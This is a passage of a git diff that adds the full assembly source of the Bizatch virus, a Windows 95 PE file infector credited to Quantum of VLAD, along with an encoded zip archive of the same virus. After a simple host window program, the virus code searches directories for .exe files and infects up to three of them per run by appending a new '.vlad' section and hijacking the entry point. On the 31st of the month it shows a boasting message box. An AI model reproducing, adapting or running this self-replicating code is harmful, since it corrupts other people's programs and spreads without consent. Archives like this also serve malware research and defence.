CreateWindowEx + + mov [newhwnd], eax + + push L SW_SHOWNORMAL + push [newhwnd] + call ShowWindow + + push [newhwnd] + call UpdateWindow + +msg_loop: + push L 0 + push L 0 + push L 0 + push offset msg + call GetMessage + + cmp ax, 0 + je end_loop + + push offset msg + call TranslateMessage + + push offset msg + call DispatchMessage + + jmp msg_loop + +end_loop: + push [msg.msWPARAM] + call ExitProcess + + ; we never get to here + +;----------------------------------------------------------------------------- +WndProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam:DWORD +; +; WARNING: Win32 requires that EBX, EDI, and ESI be preserved! We comply +; with this by listing those regs after the 'uses' statement in the 'proc' +; line. This allows the Assembler to save them for us. +; + LOCAL theDC:DWORD + + cmp [wmsg], WM_DESTROY + je wmdestroy + cmp [wmsg], WM_RBUTTONDOWN + je wmrbuttondown + cmp [wmsg], WM_SIZE + je wmsize + cmp [wmsg], WM_CREATE + je wmcreate + cmp [wmsg], WM_LBUTTONDOWN + je wmlbuttondown + cmp [wmsg], WM_PAINT + je wmpaint + cmp [wmsg], WM_GETMINMAXINFO + je wmgetminmaxinfo + + + jmp defwndproc + +wmpaint: + push offset lppaint + push [hwnd] + call BeginPaint + mov [theDC], eax + + mov eax, [mbx_count] + mov edi, offset s_num + call HexWrite32 + + push L MSG_L ; length of string + push offset szPaint ; string + push L 5 ; y + push L 5 ; x + push [theDC] ; the DC + call TextOut + + push offset lppaint + push [hwnd] + call EndPaint + + mov eax, 0 + jmp finish + +wmcreate: + mov eax, 0 + jmp finish + +defwndproc: + push [lparam] + push [wparam] + push [wmsg] + push [hwnd] + call DefWindowProc + jmp finish + +wmdestroy: + push L 0 + call PostQuitMessage + mov eax, 0 + jmp finish + +wmlbuttondown: + inc [mbx_count] + + push L 0 + push L 0 + push [hwnd] + call InvalidateRect ; repaint window + + mov eax, 0 + jmp finish + +wmrbuttondown: + push L 0 + call MessageBeep + jmp finish + +wmsize: + mov eax, 0 + jmp finish + +wmgetminmaxinfo: + + mov ebx, [lparam] ; ptr to minmaxinfo struct + mov [(MINMAXINFO ptr ebx).mintrackposition_x] , 350 + mov [(MINMAXINFO ptr ebx).mintrackposition_y] , 60 + mov eax, 0 + jmp finish + +finish: + ret +WndProc endp +;----------------------------------------------------------------------------- +HexWrite8 proc +; +; AL has two hex digits that will be written to ES:EDI in ASCII form +; + + mov ah, al + and al, 0fh + shr ah, 4 + ; ah has MSD + ; al has LSD + or ax, 3030h + xchg al, ah + cmp ah, 39h + ja @@4 +@@1: + cmp al, 39h + ja @@3 +@@2: + stosw + ret +@@3: + sub al, 30h + add al, 'A' - 10 + jmp @@2 +@@4: + sub ah, 30h + add ah, 'A' - 10 + jmp @@1 +HexWrite8 endp +;----------------------------------------------------------------------------- +HexWrite16 proc +; +; AX has four hex digits in it that will be written to ES:EDI +; + push ax + xchg al,ah + call HexWrite8 + pop ax + call HexWrite8 + ret +HexWrite16 endp +;----------------------------------------------------------------------------- +HexWrite32 proc +; +; EAX has eight hex digits in it that will be written to ES:EDI +; + push eax + shr eax, 16 + call HexWrite16 + pop eax + call HexWrite16 + ret +HexWrite32 endp +;----------------------------------------------------------------------------- +public WndProc +ends +;----------------------------------------------------------------------------- +; Here is where the virus code begins.. this code is moved from exe to +; exe.. the above is just a simple custom host. + +vladseg segment para public 'vlad' +assume cs:vladseg +vstart: +call recalc +recalc: +pop ebp +mov eax,ebp ; calculate the address to the host +db 2dh +subme dd 30000h + (recalc - vstart) +push eax ; save it for l8r +sub ebp,offset recalc ; calculate the delta offset + +mov eax,[ebp + offset kern2] ; determine where the kernel is at +cmp dword ptr [eax],5350fc9ch +jnz notkern2 +mov eax,[ebp + offset kern2] ; here +jmp movit +notkern2: +mov eax,[ebp + offset kern1] ; or here +cmp dword ptr [eax],5350fc9ch +jnz nopayload +mov eax,[ebp + offset kern1] +movit: +mov [ebp + offset kern],eax ; save it for l8r use + +cld ; important +lea eax,[ebp + offset orgdir] +push eax +push 255 +call GetCurDir ; save the current directory + +mov byte ptr [ebp + offset countinfect],0 ; count the number we are infecting + +infectdir: + +lea eax,[ebp + offset win32_data_thang] +push eax +lea eax,[ebp + offset fname] +push eax +call FindFile ; search for first exe + +mov dword ptr [ebp + offset searchhandle],eax ; save the search handle +cmp eax,-1 +jz foundnothing + +gofile: + +push 0 +push dword ptr [ebp + offset fileattr] ; FILE_ATTRIBUTE_NORMAL +push 3 ; OPEN_EXISTING +push 0 +push 0 +push 80000000h + 40000000h ; GENERIC_READ + GENERIC_WRITE +lea eax,[ebp + offset fullname] +push eax +call CreateFile ; open file in read/write mode + +mov dword ptr [ebp + offset ahand],eax ; save the handle +cmp eax,-1 +jz findnextone + +; goto the dword that stores the location of the pe header +push 0 +push 0 +push 3ch +push dword ptr [ebp + offset ahand] +call SetFilePointer + +; read in the location of the pe header +push 0 +lea eax,[ebp + offset bytesread] +push eax +push 4 +lea eax,[ebp + offset peheaderoffset] +push eax +push dword ptr [ebp + offset ahand] +call ReadFile + +; goto the pe header +push 0 +push 0 +push dword ptr [ebp + offset peheaderoffset] +push dword ptr [ebp + offset ahand] +call SetFilePointer + +; read in enuff to calculate the full size of the pe header and object table +push 0 +lea eax,[ebp + offset bytesread] +push eax +push 58h +lea eax,[ebp + offset peheader] +push eax +push dword ptr [ebp + offset ahand] +call ReadFile + +; make sure it is a pe header and is not already infected +cmp dword ptr [ebp + offset peheader],00004550h ; PE,0,0 +jnz notape +cmp word ptr [ebp + offset peheader + 4ch],0F00Dh +jz notape +cmp dword ptr [ebp + offset 52],4000000h +jz notape + +; go back to the start of the pe header +push 0 +push 0 +push dword ptr [ebp + offset peheaderoffset] +push dword ptr [ebp + offset ahand] +call SetFilePointer + +; read in the whole pe header and object table +push 0 +lea eax,[ebp + offset bytesread] +push eax +push dword ptr [ebp + offset headersize] +lea eax,[ebp + offset peheader] +push eax +push dword ptr [ebp + offset ahand] +call ReadFile + +; set the infection flag +mov word ptr [ebp + offset peheader + 4ch],0F00Dh + +; locate offset of object table +xor eax,eax +mov ax, word ptr [ebp + offset NtHeaderSize] +add eax,18h +mov dword ptr [ebp + offset ObjectTableoffset],eax + +; calculate the offset of the last (null) object in the object table +mov esi,dword ptr [ebp + offset ObjectTableoffset] +lea eax,[ebp + offset peheader] +add esi,eax +xor eax,eax +mov ax,[ebp + offset numObj] +mov ecx,40 +xor edx,edx +mul ecx +add esi,eax + +inc word ptr [ebp + offset numObj] ; inc the number of objects + +lea edi,[ebp + offset newobject] +xchg edi,esi + +; calculate the Relative Virtual Address (RVA) of the new object +mov eax,[edi-5*8+8] +add eax,[edi-5*8+12] +mov ecx,dword ptr [ebp + offset objalign] +xor edx,edx +div ecx +inc eax +mul ecx +mov dword ptr [ebp + offset RVA],eax + +; calculate the physical size of the new object +mov ecx,dword ptr [ebp + offset filealign] +mov eax,vend-vstart +xor edx,edx +div ecx +inc eax +mul ecx +mov dword ptr [ebp + offset physicalsize],eax + +; calculate the virtual size of the new object +mov ecx,dword ptr [ebp + offset objalign] +mov eax,vend - vstart + 1000h +xor edx,edx +div ecx +inc eax +mul ecx +mov dword ptr [ebp + offset virtualsize],eax + +; calculate the physical offset of the new object +mov eax,[edi-5*8+20] +add eax,[edi-5*8+16] +mov ecx,dword ptr [ebp + offset filealign] +xor edx,edx +div ecx +inc eax +mul ecx +mov dword ptr [ebp + offset physicaloffset],eax + +; update the image size (the size in memory) of the file +mov eax,vend-vstart+1000h +add eax,dword ptr [ebp + offset imagesize] +mov ecx,[ebp + offset objalign] +xor edx,edx +div ecx +inc eax +mul ecx +mov dword ptr [ebp + offset imagesize],eax + +; copy the new object into the object table +mov ecx,10 +rep movsd + +; calculate the entrypoint RVA +mov eax,dword ptr [ebp + offset RVA] + +mov ebx,dword ptr [ebp + offset entrypointRVA] +mov dword ptr [ebp + offset entrypointRVA],eax + +sub eax,ebx +add eax,5 + +; Set the value needed to return to the host +mov dword ptr [ebp + offset subme],eax + +; go back to the start of the pe header +push 0 +push 0 +push dword ptr [ebp + offset peheaderoffset] +push dword ptr [ebp + offset ahand] +call SetFilePointer + +; write the pe header and object table to the file +push 0 +lea eax,[ebp + offset bytesread] +push eax +push dword ptr [ebp + offset headersize] +lea eax,[ebp + offset peheader] +push eax +push dword ptr [ebp + offset ahand] +call WriteFile + +; increase the number of files infected +inc byte ptr [ebp + offset countinfect] + +; move to the physical offset of the new object +push 0 +push 0 +push dword ptr [ebp + offset physicaloffset] +push dword ptr [ebp + offset ahand] +call SetFilePointer + +; write the virus code to the new object +push 0 +lea eax,[ebp + offset bytesread] +push eax +push vend-vstart +lea eax,[ebp + offset vstart] +push eax +push dword ptr [ebp + offset ahand] +call WriteFile + +notape: + +; close the file +push dword ptr [ebp + offset ahand] +call CloseFile + +findnextone: + +; have we infected 3 ? +cmp byte ptr [ebp + offset countinfect],3 +jz outty + +; no.. find the next file +lea eax,[ebp + offset win32_data_thang] +push eax +push dword ptr [ebp + offset searchhandle] +call FindNext + +; is there a next ? yes.. infect it +or eax,eax +jnz gofile + +foundnothing: + +; no .. change dirs +xor eax,eax +lea edi,[ebp + offset tempdir] +mov ecx,256/4 +rep stosd +lea edi,[ebp + offset tempdir1] +mov ecx,256/4 +rep stosd + +; get the current dir +lea esi,[ebp + offset tempdir] +push esi +push 255 +call GetCurDir + +; change into ".." +lea eax,[ebp + offset dotdot] +push eax +call SetCurDir + +; get the current dir +lea edi,[ebp + offset tempdir1] +push edi +push 255 +call GetCurDir + +; if the dirs are the same then the ".." failed +mov ecx,256/4 +rep cmpsd +jnz infectdir + +outty: + +; set the current dir back to the original +lea eax,[ebp + offset orgdir] +push eax +call SetCurDir + +; get the current date and time and lots of other shit that no-one ever uses +lea eax,[ebp + offset systimestruct] +push eax +call GetTime + +; if it's the 31st then do the payload +cmp word ptr [ebp + offset day],31 +jnz nopayload + +; display a message box to the user +push 1000h ; MB_SYSTEMMODAL +lea eax,[ebp + offset boxtitle] +push eax +lea eax,[ebp + offset boxmsg] +push eax +push 0 +call MsgBox + +nopayload: + +; jump back to the host +pop eax +jmp eax + +kern dd 0BFF93B95h ; the value of the kernel will be shoved in here +kern1 dd 0BFF93B95h ; the first possible value of the kernel +kern2 dd 0BFF93C1Dh ; the second possible value of the kernel + +GetCurDir: +push 0BFF77744h ; push this value to get current dir +jmp [ebp + offset kern] + +SetCurDir: +push 0BFF7771Dh ; push this value to set current dir +jmp [ebp + offset kern] + +GetTime: +cmp [ebp + offset kern],0BFF93B95h +jnz gettimekern2 +push 0BFF9D0B6h ; push this value if we're using kernel1 to get time/date +jmp [ebp + offset kern] +gettimekern2: +push 0BFF9D14eh ; push this value if we're using kernel2 to get time/date +jmp [ebp + offset kern] + +MsgBox: +push 0BFF638D9h ; push this value to display a message box +jmp [ebp + offset kern] + +FindFile: +push 0BFF77893h ; push this value to find a file +jmp [ebp + offset kern] + +FindNext: +push 0BFF778CBh ; push this value to find the next file +jmp [ebp + offset kern] + +CreateFile: +push 0BFF77817h ; push this value to create/open a file (create handle) +jmp [ebp + offset kern] + +SetFilePointer: +push 0BFF76FA0h ; push this value to set the file pointer of a file +jmp [ebp + offset kern] + +ReadFile: +push 0BFF75806h ; push this value to read a file +jmp [ebp + offset kern] + +WriteFile: +push 0BFF7580Dh ; push this value to write to a file +jmp [ebp + offset kern] + +CloseFile: +push 0BFF7BC72h ; push this value to close a file +jmp [ebp + offset kern] + +countinfect db 0 ; counts the infections + +win32_data_thang: ; used to search for files +fileattr dd 0 +createtime dd 0,0 +lastaccesstime dd 0,0 +lastwritetime dd 0,0 +filesize dd 0,0 +resv dd 0,0 +fullname db 256 dup (0) +realname db 256 dup (0) + +boxtitle db "Bizatch by Quantum / VLAD",0 +boxmsg db "The taste of fame just got tastier!",0dh + db "VLAD Australia does it again with the world's first Win95 Virus" + db 0dh,0dh + db 9,"From the old school to the new.. ",0dh,0dh + db 9,"Metabolis",0dh + db 9,"Qark",0dh + db 9,"Darkman",0dh + db 9,"Quantum",0dh + db 9,"CoKe",0 + +messagetostupidavers db "Please note: the name of this virus is [Bizatch]" +db " written by Quantum of VLAD",0 + +orgdir db 256 dup (0) +tempdir db 256 dup (0) +tempdir1 db 256 dup (0) +dotdot db "..",0 + +systimestruct: ; used to get the time/date +dw 0,0,0 +day dw 0 +dw 0,0,0,0 + +searchhandle dd 0 ; used in searches for files +fname db '*.exe',0 ; spec to search for +ahand dd 0 ; handle of the file we open +peheaderoffset dd 0 ; stores the offset of the peheader in the file +ObjectTableoffset dd 0 ; stores the offset of the object table in memory +bytesread dd 0 ; number of bytes we just read/wrote from/to the file + +newobject: ; the new object +oname db ".vlad",0,0,0 +virtualsize dd 0 +RVA dd 0 +physicalsize dd 0 +physicaloffset dd 0 +reserved dd 0,0,0 +objectflags db 40h,0,0,0c0h + +peheader: ; essential data for infecting the pe header +signature dd 0 +cputype dw 0 +numObj dw 0 +db 3*4 dup (0) +NtHeaderSize dw 0 +Flags dw 0 +db 4*4 dup (0) +entrypointRVA dd 0 +db 3*4 dup (0) +objalign dd 0 +filealign dd 0 +db 4*4 dup (0) +imagesize dd 0 +headersize dd 0 +vend: +; space to read in the rest of the pe header and object table +; not actually written to the file but allocated by the object in post beta gen +db 1000h dup (0) +ends +end vstart + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.bizatch.zip b/MSDOS/Virus.MSDOS.Unknown.bizatch.zip new file mode 100644 index 0000000000000000000000000000000000000000..5261d6f23b19c8554eace16d3273e0c15887d5b2 GIT binary patch literal 89300 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 